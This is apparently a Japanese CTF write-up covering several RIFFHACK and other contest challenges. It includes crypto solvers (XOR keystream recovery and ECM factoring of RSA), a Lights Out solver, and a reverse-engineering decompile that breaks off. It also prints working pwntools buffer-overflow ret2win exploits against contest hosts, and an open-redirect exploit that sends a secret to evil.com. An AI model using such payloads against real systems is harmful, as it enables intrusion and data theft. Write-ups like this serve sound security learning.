leak2 = [4226, 36575, 42265, 42988, 32134, 53660, 36202, 48971, 61905, 20150, 45745]
leak3 = [10, 18, 13, 17, 17, 19, 14, 13, 18, 16, 15]

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def leak1_ok(a, b, v):
    return ((((a ^ b) * 0x9e3779b1) >> 24) & 0xff) == v

cands = []

for i in range(len(leak2)):
    arr = []

    for low in range(1 << 16):
        high = leak2[i] ^ ((low * 0x45d9f3b) & 0xffff)
        w = (high << 16) | low

        if w.bit_count() != leak3[i]:
            continue

        pt = xor(cipher_flag[i * 4:i * 4 + 4], w.to_bytes(4, "big"))

        if all(32 <= c <= 126 for c in pt):
            arr.append((w, pt))

    cands.append(arr)

cands[0] = [
    (w, pt) for w, pt in cands[0]
    if pt == b"V1T{"
]

parents = [{} for _ in range(len(leak2))]

states = set(w for w, pt in cands[0])

for i in range(len(leak1)):
    nxt = set()

    for w, pt in cands[i + 1]:
        for prev in states:
            if leak1_ok(prev, w, leak1[i]):
                nxt.add(w)
                parents[i + 1][w] = prev
                break

    states = nxt

for last in states:
    words = [0] * len(leak2)
    words[-1] = last

    cur = last
    for i in range(len(leak2) - 1, 0, -1):
        cur = parents[i][cur]
        words[i - 1] = cur

    keystream = b"".join(w.to_bytes(4, "big") for w in words)[:len(cipher_flag)]
    flag = xor(cipher_flag, keystream)

    if flag.startswith(b"V1T{") and flag.endswith(b"}"):
        flag = flag.decode()
        print(flag)
V1T{7fK9xL2mQp8ZrT5uWc3Yd6Hs0AaBbCcDdEeFf}

Hextrap (Crypto)

RSA暗号だが、p - 1 がsmoothではなく、j = 0の楕円曲線の群位数がsmoothになるようにpを作っている。このためECM法でnを素因数分解することができる。あとは通常通り復号する。

#!/usr/bin/env python3
from math import gcd, isqrt
from random import randrange
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

B = 2**15

def primes_upto(n):
    sieve = [True] * (n + 1)
    sieve[0] = sieve[1] = False
    for i in range(2, isqrt(n) + 1):
        if sieve[i]:
            for j in range(i*i, n + 1, i):
                sieve[j] = False
    return [i for i in range(2, n + 1) if sieve[i]]

def smooth_exponent(B):
    M = 1
    for p in primes_upto(B):
        pp = p
        while pp * p <= B:
            pp *= p
        M *= pp
    return M

M = smooth_exponent(B)

class FoundFactor(Exception):
    def __init__(self, f):
        self.f = f

def inv_mod_checked(a, n):
    a %= n
    g = gcd(a, n)
    if 1 < g < n:
        raise FoundFactor(g)
    return pow(a, -1, n)

def ec_add(P, Q, b, n):
    if P is None:
        return Q
    if Q is None:
        return P

    x1, y1 = P
    x2, y2 = Q

    if x1 == x2 and (y1 + y2) % n == 0:
        return None

    if P == Q:
        den = 2 * y1
        lam = (3 * x1 * x1) * inv_mod_checked(den, n) % n
    else:
        den = x2 - x1
        lam = (y2 - y1) * inv_mod_checked(den, n) % n

    x3 = (lam * lam - x1 - x2) % n
    y3 = (lam * (x1 - x3) - y1) % n
    return x3, y3

def ec_mul(k, P, b, n):
    R = None
    while k:
        if k & 1:
            R = ec_add(R, P, b, n)
        P = ec_add(P, P, b, n)
        k >>= 1
    return R

def factor(n):
    while True:
        x = randrange(2, n - 1)
        y = randrange(2, n - 1)
        b = (y*y - x*x*x) % n
        P = (x, y)

        if gcd(6 * b, n) not in (1, n):
            return gcd(6 * b, n)

        try:
            ec_mul(M, P, b, n)
        except FoundFactor as ff:
            return ff.f

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split()[-1])
e = int(params[1].split()[-1])
c = bytes.fromhex(params[2].split()[-1])

p = factor(n)
q = n // p

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

key = RSA.construct((n, e, d, p, q))
cipher = PKCS1_OAEP.new(key)

flag = cipher.decrypt(c).decode()
print(flag)
v1t{six_twists_one_smooth_order}

RIFFHACK: Black Market Break-In Writeup

この大会は2026/6/19 21:00(JST)~2026/6/22 9:00(JST)に開催されました。
今回は個人で参戦。結果は1075点で514チーム中177位でした。
自分で解けた問題をWriteupとして書いておきます。

The Crawler's Courtesy (RIFFHACK, Easy 75)

$ curl http://159.89.230.27/robots.txt            
User-Agent: *
Allow: /
Disallow: /operator-cache-drop
$ curl -I http://159.89.230.27/operator-cache-drop           
HTTP/1.1 500 Internal Server Error
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/22a5144ee8d83bca-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/7d4881bb7e1bf84d-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
ETag: "1sbqu6wnbs1ne"
Content-Type: text/html; charset=utf-8
Content-Length: 2138
Date: Sat, 20 Jun 2026 01:07:49 GMT
Connection: keep-alive
Keep-Alive: timeout=5

RSCのヘッダが必要のようだ。

$ curl -s -H "RSC: 1" http://159.89.230.27/operator-cache-drop
1:"$Sreact.fragment"
2:I[9657,["9657","static/chunks/9657-1530001c3deb6b0c.js","7177","static/chunks/app/layout-8478979d833ec5e9.js"],""]
3:I[6710,["9657","static/chunks/9657-1530001c3deb6b0c.js","7177","static/chunks/app/layout-8478979d833ec5e9.js"],"default"]
4:I[2536,[],""]
5:I[8590,[],""]
6:I[7320,[],"OutletBoundary"]
9:I[4640,[],"AsyncMetadataOutlet"]
b:I[7320,[],"ViewportBoundary"]
d:I[7320,[],"MetadataBoundary"]
f:"$Sreact.suspense"
10:I[4640,[],"AsyncMetadata"]
0:{"b":"myBhSjXfBSgVYSvVo0dJU", ... "children":"bitflag{r0b0ts_4r3_n0t_4_s3cr3t_v4ult}"}]]}]]}]}]}], ...
e:["$","$f",null,{"fallback":null,"children":["$","$L10",null,{"promise":"$@11"}]}]
8:null
c:null
a:{"metadata":"$undefined","error":"$Z","digest":"$undefined"}
11:{"metadata":"$undefined","error":"$a:error","digest":"$undefined"}
7:E{"digest":"2584258339"}
bitflag{r0b0ts_4r3_n0t_4_s3cr3t_v4ult}

The Return Slip (RIFFHACK, Easy 100)

$ curl -s http://159.89.230.27/_next/static/chunks/app/auth/page-9ddd8f18489117b9.js -o auth_page.js
$ grep -oE 'window\.location[^;]{0,80}' auth_page.js
window.location.search).get("next")
window.location.href="/api/auth/complete?next=".concat(encodeURIComponent(e))
window.location.href="/dashboard"},100)}else c(a.error||"".concat(o?"Login":"Registration"," fa

以下のようなログイン処理になっていると推測できる。

  1. /auth?next=... でURLの next パラメータを読み取る。
  2. ログイン成功後、/api/auth/complete?next=にブラウザを飛ばす。
  3. おそらくそこのサーバー側で next の値を見て最終的なリダイレクト先(Location ヘッダーなど)を決めている。

http://159.89.230.27/authからアカウント登録し、nextに適当なURLを指定し、/api/auth/completeにアクセスする。

$ curl -s -i -c cookies.txt -X POST "http://159.89.230.27/api/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"Test1234!"}'
HTTP/1.1 200 OK
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
content-type: application/json
set-cookie: auth-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InhxZDV1IiwiZW1haWwiOiJ0ZXN0QHRlc3QuY29tIiwiaXNWZW5kb3IiOmZhbHNlLCJpYXQiOjE3ODE5MTgzNzEsImV4cCI6MTc4MjUyMzE3MX0.oKY13VgaAMDx2Oa9hDZ_HD3t8Hfvcuy0PI3DVRr2wgM; Path=/; Expires=Sat, 27 Jun 2026 01:19:31 GMT; Max-Age=604800; SameSite=lax
Date: Sat, 20 Jun 2026 01:19:31 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

{"success":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InhxZDV1IiwiZW1haWwiOiJ0ZXN0QHRlc3QuY29tIiwiaXNWZW5kb3IiOmZhbHNlLCJpYXQiOjE3ODE5MTgzNzEsImV4cCI6MTc4MjUyMzE3MX0.oKY13VgaAMDx2Oa9hDZ_HD3t8Hfvcuy0PI3DVRr2wgM","user":{"id":"xqd5u","email":"test@test.com","isVendor":false}}
$ curl -s -i -b cookies.txt "http://159.89.230.27/api/auth/complete?next=http://evil.com"
HTTP/1.1 307 Temporary Redirect
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
location: http://evil.com/?handoff=bitflag%7Btru5t3d_r3d1r3cts_c4n_c4rry_s3cr3ts%7D
Date: Sat, 20 Jun 2026 01:20:47 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

locationにフラグが含まれていた。

bitflag{tru5t3d_r3d1r3cts_c4n_c4rry_s3cr3ts}

Aperture Science Test Chambers (Programming, Medium 50)

ChatGPTに解かせてみた。
各チャンバーを読み取り、盤面サイズに合わせて GF(2) のガウス消去で押す場所を求めるとのことで、スクリプトを提供してくれた。

#!/usr/bin/env python3
import socket
import re

HOST = "162.243.209.156"
PORT = 9000

def solve_lights_out(grid):
    n = len(grid)
    m = len(grid[0])
    vars_count = n * m

    # Ax = b over GF(2)
    rows = []
    b = []

    def idx(r, c):
        return r * m + c

    for r in range(n):
        for c in range(m):
            mask = 0
            for dr, dc in [(0,0), (1,0), (-1,0), (0,1), (0,-1)]:
                rr, cc = r + dr, c + dc
                if 0 <= rr < n and 0 <= cc < m:
                    mask ^= 1 << idx(rr, cc)
            rows.append(mask)
            b.append(grid[r][c])

    # Gaussian elimination over GF(2)
    where = [-1] * vars_count
    row = 0

    for col in range(vars_count):
        pivot = None
        for i in range(row, len(rows)):
            if (rows[i] >> col) & 1:
                pivot = i
                break

        if pivot is None:
            continue

        rows[row], rows[pivot] = rows[pivot], rows[row]
        b[row], b[pivot] = b[pivot], b[row]
        where[col] = row

        for i in range(len(rows)):
            if i != row and ((rows[i] >> col) & 1):
                rows[i] ^= rows[row]
                b[i] ^= b[row]

        row += 1

    # One solution: free variables = 0
    x = [0] * vars_count
    for col in range(vars_count):
        if where[col] != -1:
            x[col] = b[where[col]]

    presses = []
    for r in range(n):
        for c in range(m):
            if x[idx(r, c)]:
                presses.append((r, c))

    return presses

def recv_until(sock, marker):
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
        print(chunk.decode(errors="ignore"), end="")
    return data.decode(errors="ignore")

def parse_grid(text):
    match = re.search(r"GRID\s+(\d+)\n", text)
    if not match:
        return None

    n = int(match.group(1))
    after = text[match.end():].splitlines()

    grid = []
    for line in after:
        nums = line.strip().split()
        if len(nums) == n and all(x in ("0", "1") for x in nums):
            grid.append([int(x) for x in nums])
            if len(grid) == n:
                break

    if len(grid) != n:
        return None

    return grid

def main():
    with socket.create_connection((HOST, PORT)) as sock:
        for _ in range(20):
            text = recv_until(sock, b"AWAITING SOLUTION")
            grid = parse_grid(text)

            if grid is None:
                print("\nCould not parse grid.")
                return

            presses = solve_lights_out(grid)

            payload = f"PRESSES {len(presses)}\n"
            payload += "\n".join(f"{r} {c}" for r, c in presses)
            payload += "\n"

            print("\nSending:")
            print(payload)

            sock.sendall(payload.encode())

        # flag or final output
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            print(chunk.decode(errors="ignore"), end="")

if __name__ == "__main__":
    main()

実行結果は以下の通り。

APERTURE SCIENCE TEST FACILITY v1.0
GLaDOS: Welcome, test subject. Twenty chambers stand between you and the flag.
GLaDOS: Each chamber is a grid of illuminated panels. Pressing a panel toggles it
GLaDOS:   and each of its orthogonal neighbours. Extinguish all panels to proceed.
GLaDOS: Send PRESSES <count> then <count> lines of '<row> <col>' (0-indexed).
---
CHAMBER 1/20
GRID 5
1 1 1 0 1
0 0 0 1 1
0 0 0 1 1
1 1 0 0 0
0 0 1 1 0
AWAITING SOLUTION

Sending:
PRESSES 12
0 0
0 1
0 2
0 3
1 0
2 2
2 4
3 0
3 1
3 2
3 3
4 0

OK
CHAMBER 2/20
GRID 7
1 0 0 1 0 0 0
0 0 1 1 0 0 1
0 1 1 0 0 1 1
0 1 0 0 1 0 0
1 1 1 1 0 0 1
0 1 1 0 1 1 0
0 1 1 1 0 1 1
AWAITING SOLUTION

Sending:
PRESSES 25
0 3
0 4
0 6
1 0
1 2
1 3
1 6
2 0
2 2
2 5
2 6
3 1
3 2
3 4
3 5
4 1
4 2
4 4
4 5
5 3
5 4
5 5
6 2
6 4
6 6

OK
        :
        :
        :
CHAMBER 19/20
GRID 7
0 1 1 0 1 1 1
0 0 0 0 0 1 0
1 0 1 1 1 0 1
1 0 1 1 1 1 1
1 0 1 0 1 1 0
0 1 0 1 1 0 1
1 0 1 1 1 0 1
AWAITING SOLUTION

Sending:
PRESSES 22
0 0
0 1
0 4
0 6
1 1
1 3
1 5
2 3
2 4
3 0
3 1
3 4
3 6
4 0
4 3
4 4
4 5
5 0
5 4
5 5
6 3
6 5

OK
CHAMBER 20/20
GRID 5
0 1 1 1 0
1 0 1 0 0
0 1 1 0 0
1 1 1 1 1
1 0 1 0 0
AWAITING SOLUTION

Sending:
PRESSES 11
0 0
0 3
0 4
1 0
1 3
2 0
2 1
3 0
3 1
3 3
4 2

OK
FLAG bitctf{{gl4d0s_s4ys_y0u_p4ss3d_4ll_ch4mb3rs}}
GLaDOS: This was a triumph. I'm making a note here: HUGE SUCCESS.
bitctf{{gl4d0s_s4ys_y0u_p4ss3d_4ll_ch4mb3rs}}

Samus Stack Smash (Binary Exploitation, Easy 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  vuln();
  puts("Signal lost.");
  return 0;
}

void vuln(void)

{
  char local_28 [32];
  
  puts("== Galactic Federation Checkpoint ==");
  puts("Samus, state your authorization glyphs:");
  printf("> ");
  gets(local_28);
  printf("Telemetry echo: %s\n",local_28);
  return;
}

void mission_clear(void)

{
  char *pcVar1;
  char local_98 [136];
  FILE *local_10;
  
  local_10 = fopen("/flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("flag file missing. Contact an admin.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  pcVar1 = fgets(local_98,0x80,local_10);
  if (pcVar1 == (char *)0x0) {
    puts("Could not read the flag.");
    fclose(local_10);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fclose(local_10);
  printf("Mission complete! %s",local_98);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

BOFでmission_clear関数をコールすればよい。

$ ROPgadget --binary samus_stack_smash | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('162.243.30.157', 1337)
else:
    p = process('./samus_stack_smash')

elf = ELF('./samus_stack_smash')

ret_addr = 0x40101a
mission_clear_addr = elf.symbols['mission_clear']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(mission_clear_addr)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 162.243.30.157 on port 1337: Done
[*] '/mnt/hgfs/Shared/samus_stack_smash'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x16\x12@\x00\x00\x00\x00\x00'
Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@
Mission complete! bitctf{{m37r01d_57ack_0v3rrun}}
[*] Closed connection to 162.243.30.157 port 1337
bitctf{{m37r01d_57ack_0v3rrun}}

Barbieland Buffer Blowout (Binary Exploitation, Medium 175)

CyberChefでbase64デコードし、保存する。
このファイルをGhidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *pcVar2;
  undefined8 uVar3;
  size_t sVar4;
  char local_48 [64];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  local_48[0] = '\0';
  local_48[1] = '\0';
  local_48[2] = '\0';
  local_48[3] = '\0';
  local_48[4] = '\0';
  local_48[5] = '\0';
  local_48[6] = '\0';
  local_48[7] = '\0';
  local_48[8] = '\0';
  local_48[9] = '\0';
  local_48[10] = '\0';
  local_48[0xb] = '\0';
  local_48[0xc] = '\0';
  local_48[0xd] = '\0';
  local_48[0xe] = '\0';
  local_48[0xf] = '\0';
  local_48[0x10] = '\0';
  local_48[0x11] = '\0';
  local_48[0x12] = '\0';
  local_48[0x13] = '\0';
  local_48[0x14] = '\0';
  local_48[0x15] = '\0';
  local_48[0x16] = '\0';
  local_48[0x17] = '\0';
  local_48[0x18] = '\0';
  local_48[0x19] = '\0';
  local_48[0x1a] = '\0';
  local_48[0x1b] = '\0';
  local_48[0x1c] = '\0';
  local_48[0x1d] = '\0';
  local_48[0x1e] = '\0';
  local_48[0x1f] = '\0';
  local_48[0x20] = '\0';
  local_48[0x21] = '\0';
  local_48[0x22] = '\0';
  local_48[0x23] = '\0';
  local_48[0x24] = '\0';
  local_48[0x25] = '\0';
  local_48[0x26] = '\0';
  local_48[0x27] = '\0';
  local_48[0x28] = '\0';
  local_48[0x29] = '\0';
  local_48[0x2a] = '\0';
  local_48[0x2b] = '\0';
  local_48[0x2c] = '\0';
  local_48[0x2d] = '\0';
  local_48[0x2e] = '\0';
  local_48[0x2f] = '\0';
  local_48[0x30] = '\0';
  local_48[0x31] = '\0';
  local_48[0x32] = '\0';
  local_48[0x33] = '\0';
  local_48[0x34] = '\0';
  local_48[0x35] = '\0';
  local_48[0x36] = '\0';
  local_48[0x37] = '\0';
  local_48[0x38] = '\0';
  local_48[0x39] = '\0';
  local_48[0x3a] = '\0';
  local_48[0x3b] = '\0';
  local_48[0x3c] = '\0';
  local_48[0x3d] = '\0';
  local_48[0x3e] = '\0';
  local_48[0x3f] = '\0';
  puts("== Barbieland Glam Relay ==");
  puts("Enter 16-byte glam calibration code:");
  write(1,"code> ",6);
  pcVar2 = fgets(local_48,0x40,stdin);
  if (pcVar2 == (char *)0x0) {
    puts("Input error.");
    uVar3 = 1;
  }
  else {
    sVar4 = strcspn(local_48,"\n");
    local_48[sVar4] = '\0';
    iVar1 = check_token(local_48);
    if (iVar1 == 0) {
      puts("Glam sync failed. Session terminated.");
      uVar3 = 1;
    }
    else {
      vulnerable_prompt();
      puts("Relay closing.");
      uVar3 = 0;
    }
  }
  return uVar3;
}

undefined8 check_token(char *param_1)

{
  char cVar1;
  byte bVar2;
  size_t sVar3;
  undefined8 uVar4;
  int local_20;
  byte local_19;
  
  sVar3 = strlen(param_1);
  if (sVar3 == 0x10) {
    local_19 = 0x42;
    for (local_20 = 0; local_20 < 0x10; local_20 = local_20 + 1) {
      bVar2 = param_1[local_20];
      cVar1 = rol8(local_19,local_20 % 5);
      bVar2 = cVar1 + (((char)(local_20 << 3) - (char)local_20) + 0x5aU ^ bVar2);
      if (bVar2 != target.0[local_20]) {
        return 0;
      }
      local_19 = bVar2 ^ local_19 * '!';
    }
    uVar4 = 1;
  }
  else {
    uVar4 = 0;
  }
  return uVar4;
}

uint rol8(byte param_1,byte param_2)

{
  uint uVar1;
  
  param_2 = param_2 & 7;
  if (param_2 == 0) {
    uVar1 = (uint)param_1;
  }
  else {
    uVar1 = (int)(uint)param_1 >> (8 - param_2 & 0x1f) | (uint)param_1 << param_2;
  }
  return uVar1;
}

void vulnerable_prompt(void)

{
  undefined1 local_48 [64];
  
  puts("Calibration accepted.");
  puts("Upload pilot profile packet:");
  write(1,"pilot> ",7);
  read(0,local_48,0x100);
  puts("Packet stored.");
  return;
}

void win(void)

{
  char *pcVar1;
  char local_98 [128];
  FILE *local_18;
  char *local_10;
  
  local_10 = getenv("FLAG_PATH");
  if ((local_10 == (char *)0x0) || (*local_10 == '\0')) {
    local_10 = "/flag.txt";
  }
  local_18 = fopen(local_10,"r");
  if (local_18 == (FILE *)0x0) {
    puts("Flag subsystem offline.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_98[0] = '\0';
  local_98[1] = '\0';
  local_98[2] = '\0';
  local_98[3] = '\0';
  local_98[4] = '\0';
  local_98[5] = '\0';
  local_98[6] = '\0';
  local_98[7] = '\0';
  local_98[8] = '\0';
  local_98[9] = '\0';
  local_98[10] = '\0';
  local_98[0xb] = '\0';
  local_98[0xc] = '\0';
  local_98[0xd] = '\0';
  local_98[0xe] = '\0';
  local_98[0xf] = '\0';
  local_98[0x10] = '\0';
  local_98[0x11] = '\0';
  local_98[0x12] = '\0';
  local_98[0x13] = '\0';
  local_98[0x14] = '\0';
  local_98[0x15] = '\0';
  local_98[0x16] = '\0';
  local_98[0x17] = '\0';
  local_98[0x18] = '\0';
  local_98[0x19] = '\0';
  local_98[0x1a] = '\0';
  local_98[0x1b] = '\0';
  local_98[0x1c] = '\0';
  local_98[0x1d] = '\0';
  local_98[0x1e] = '\0';
  local_98[0x1f] = '\0';
  local_98[0x20] = '\0';
  local_98[0x21] = '\0';
  local_98[0x22] = '\0';
  local_98[0x23] = '\0';
  local_98[0x24] = '\0';
  local_98[0x25] = '\0';
  local_98[0x26] = '\0';
  local_98[0x27] = '\0';
  local_98[0x28] = '\0';
  local_98[0x29] = '\0';
  local_98[0x2a] = '\0';
  local_98[0x2b] = '\0';
  local_98[0x2c] = '\0';
  local_98[0x2d] = '\0';
  local_98[0x2e] = '\0';
  local_98[0x2f] = '\0';
  local_98[0x30] = '\0';
  local_98[0x31] = '\0';
  local_98[0x32] = '\0';
  local_98[0x33] = '\0';
  local_98[0x34] = '\0';
  local_98[0x35] = '\0';
  local_98[0x36] = '\0';
  local_98[0x37] = '\0';
  local_98[0x38] = '\0';
  local_98[0x39] = '\0';
  local_98[0x3a] = '\0';
  local_98[0x3b] = '\0';
  local_98[0x3c] = '\0';
  local_98[0x3d] = '\0';
  local_98[0x3e] = '\0';
  local_98[0x3f] = '\0';
  local_98[0x40] = '\0';
  local_98[0x41] = '\0';
  local_98[0x42] = '\0';
  local_98[0x43] = '\0';
  local_98[0x44] = '\0';
  local_98[0x45] = '\0';
  local_98[0x46] = '\0';
  local_98[0x47] = '\0';
  local_98[0x48] = '\0';
  local_98[0x49] = '\0';
  local_98[0x4a] = '\0';
  local_98[0x4b] = '\0';
  local_98[0x4c] = '\0';
  local_98[0x4d] = '\0';
  local_98[0x4e] = '\0';
  local_98[0x4f] = '\0';
  local_98[0x50] = '\0';
  local_98[0x51] = '\0';
  local_98[0x52] = '\0';
  local_98[0x53] = '\0';
  local_98[0x54] = '\0';
  local_98[0x55] = '\0';
  local_98[0x56] = '\0';
  local_98[0x57] = '\0';
  local_98[0x58] = '\0';
  local_98[0x59] = '\0';
  local_98[0x5a] = '\0';
  local_98[0x5b] = '\0';
  local_98[0x5c] = '\0';
  local_98[0x5d] = '\0';
  local_98[0x5e] = '\0';
  local_98[0x5f] = '\0';
  local_98[0x60] = '\0';
  local_98[0x61] = '\0';
  local_98[0x62] = '\0';
  local_98[99] = '\0';
  local_98[100] = '\0';
  local_98[0x65] = '\0';
  local_98[0x66] = '\0';
  local_98[0x67] = '\0';
  local_98[0x68] = '\0';
  local_98[0x69] = '\0';
  local_98[0x6a] = '\0';
  local_98[0x6b] = '\0';
  local_98[0x6c] = '\0';
  local_98[0x6d] = '\0';
  local_98[0x6e] = '\0';
  local_98[0x6f] = '\0';
  local_98[0x70] = '\0';
  local_98[0x71] = '\0';
  local_98[0x72] = '\0';
  local_98[0x73] = '\0';
  local_98[0x74] = '\0';
  local_98[0x75] = '\0';
  local_98[0x76] = '\0';
  local_98[0x77] = '\0';
  local_98[0x78] = '\0';
  local_98[0x79] = '\0';
  local_98[0x7a] = '\0';
  local_98[0x7b] = '\0';
  local_98[0x7c] = '\0';
  local_98[0x7d] = '\0';
  local_98[0x7e] = '\0';
  local_98[0x7f] = '\0';
  pcVar1 = fgets(local_98,0x80,local_18);
  if (pcVar1 == (char *)0x0) {
    puts("No message found.");
  }
  else {
    printf("Ancient message recovered: %s\n",local_98);
  }
  fclose(local_18);
  return;
}

                             target.0                                        XREF[2]:     check_token:0040137d(*), 
                                                                                          check_token:00401384(*)  
        00402150 5a 06 b5        undefine
                 86 17 08 
                 8e ba d6 
           00402150 5a              undefined15Ah                     [0]                               XREF[2]:     check_token:0040137d(*), 
                                                                                                                     check_token:00401384(*)  
           00402151 06              undefined106h                     [1]
           00402152 b5              undefined1B5h                     [2]
           00402153 86              undefined186h                     [3]
           00402154 17              undefined117h                     [4]
           00402155 08              undefined108h                     [5]
           00402156 8e              undefined18Eh                     [6]
           00402157 ba              undefined1BAh                     [7]
           00402158 d6              undefined1D6h                     [8]
           00402159 d4              undefined1D4h                     [9]
           0040215a d7              undefined1D7h                     [10]
           0040215b 06              undefined106h                     [11]
           0040215c b7              undefined1B7h                     [12]
           0040215d 96              undefined196h                     [13]
           0040215e 38              undefined138h                     [14]
           0040215f ae              undefined1AEh                     [15]

まずcheck_tokenで条件を満たす文字列16バイトを指定する必要がある。これはtarget.0になるよう逆算すれば求めることができる。
その後のvulnerable_promptでBOFを使ってwin関数をコールすればよい。

$ ROPgadget --binary barbie_core | grep ": ret"
0x000000000040101a : ret
0x00000000004013a0 : ret 0xb60f
0x000000000040132f : ret 0xd089
0x0000000000401351 : ret 0xfad1
0x000000000040105a : ret 0xffff
0x0000000000401022 : retf 0x2f
0x0000000000401365 : retf 0xb60f
#!/usr/bin/env python3
from pwn import *

def rol8(a, b):
    return (a >> (8 - b) | a << b) & 0xff

if len(sys.argv) == 1:
    p = remote('143.198.167.78', 5000)
else:
    p = process('./barbie_core')

elf = ELF('./barbie_core')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(win_addr)

target = [0x5a, 0x06, 0xb5, 0x86, 0x17, 0x08, 0x8e, 0xba, 0xd6, 0xd4, 0xd7,
    0x06, 0xb7, 0x96, 0x38, 0xae]

local_19 = 0x42
token = ''
for i in range(16):
    v1 = rol8(local_19, i % 5)
    v2 = ((target[i] - v1) ^ ((i << 3) - i + 0x5a)) & 0xff
    token += chr(v2)
    local_19 = (target[i] ^ local_19 * 0x21) & 0xff

data = p.recvuntil(b'> ').decode()
print(data + token)
p.sendline(token.encode())
data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 143.198.167.78 on port 5000: Done
[*] '/mnt/hgfs/Shared/barbie_core'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
== Barbieland Glam Relay ==
Enter 16-byte glam calibration code:
code> B4RB13-C0R3GL4M!
Calibration accepted.
Upload pilot profile packet:
pilot> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xc3\x13@\x00\x00\x00\x00\x00'
Packet stored.
Ancient message recovered: bitctf{{b4rb13_buff3r_b10w0u7}}
[*] Closed connection to 143.198.167.78 port 5000
bitctf{{b4rb13_buff3r_b10w0u7}}

Orbital Docking Handshake (Rerverse Engineering, Easy 125)

Ghidraでデコンパイルする。

undefined4 entry(void)

{
  uint uVar1;
  int iVar2;
  int iVar3;
  int iVar4;
  char *pcVar5;
  size_t sVar6;
  ulong uVar7;
  undefined4 local_8c;
  char acStack_85 [32];
  undefined1 auStack_65 [13];
  char acStack_58 [64];
  long local_18;
  
  local_18 = *(long *)PTR____stack_chk_guard_100004000;
  _puts("Orbital Docking Handshake");
  _puts("Trace the handshake routine, recover the correct phrase, and align the approach window.");
  _puts("Hint for analysts: the shortest path is still the cleanest one.");
  _printf("Docking phrase: ");
  _fflush(*(FILE **)PTR____stdoutp_100004018);
  pcVar5 = _fgets(acStack_58,0x40,*(FILE **)PTR____stdinp_100004028);
  if (pcVar5 == (char *)0x0) {
    uVar1 = _puts("No phrase supplied.");
    uVar7 = (ulong)uVar1;
    local_8c = 1;
  }
  else {
    sVar6 = _strcspn(acStack_58,"\n");
    acStack_58[sVar6] = '\0';
    _printf("Alignment window: ");
    _fflush(*(FILE **)PTR____stdoutp_100004018);
    pcVar5 = _fgets(acStack_85,0x20,*(FILE **)PTR____stdinp_100004028);
    if (pcVar5 == (char *)0x0) {
      uVar1 = _puts("No alignment window supplied.");
      uVar7 = (ulong)uVar1;
      local_8c = 1;
    }
    else {
      _build_expected_phrase();
      iVar2 = _compute_grid_offset(auStack_65);
      iVar3 = _atoi(acStack_85);
      iVar4 = _compare_identity(acStack_58,auStack_65);
      if (iVar4 == 0) {
        uVar1 = _puts("Handshake rejected. Docking denied.");
        uVar7 = (ulong)uVar1;
        local_8c = 1;
      }
      else if (iVar3 == iVar2) {
        uVar7 = _print_flag(0,auStack_65,iVar2);
        local_8c = 0;
      }
      else {
        uVar1 = _puts("Alignment window rejected.");
        uVar7 = (ulong)uVar1;
        local_8c = 1;
      }
    }
  }
  if (*(long *)PTR____stack_chk_guard_100004000 - local_18 != 0) {
                    /* WARNING: Subroutine does not return */
